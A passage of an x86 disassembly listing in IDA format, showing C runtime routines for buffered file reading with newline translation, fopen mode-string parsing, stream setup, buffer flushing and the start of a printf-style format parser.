		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2690CE2h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2690CE2h
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
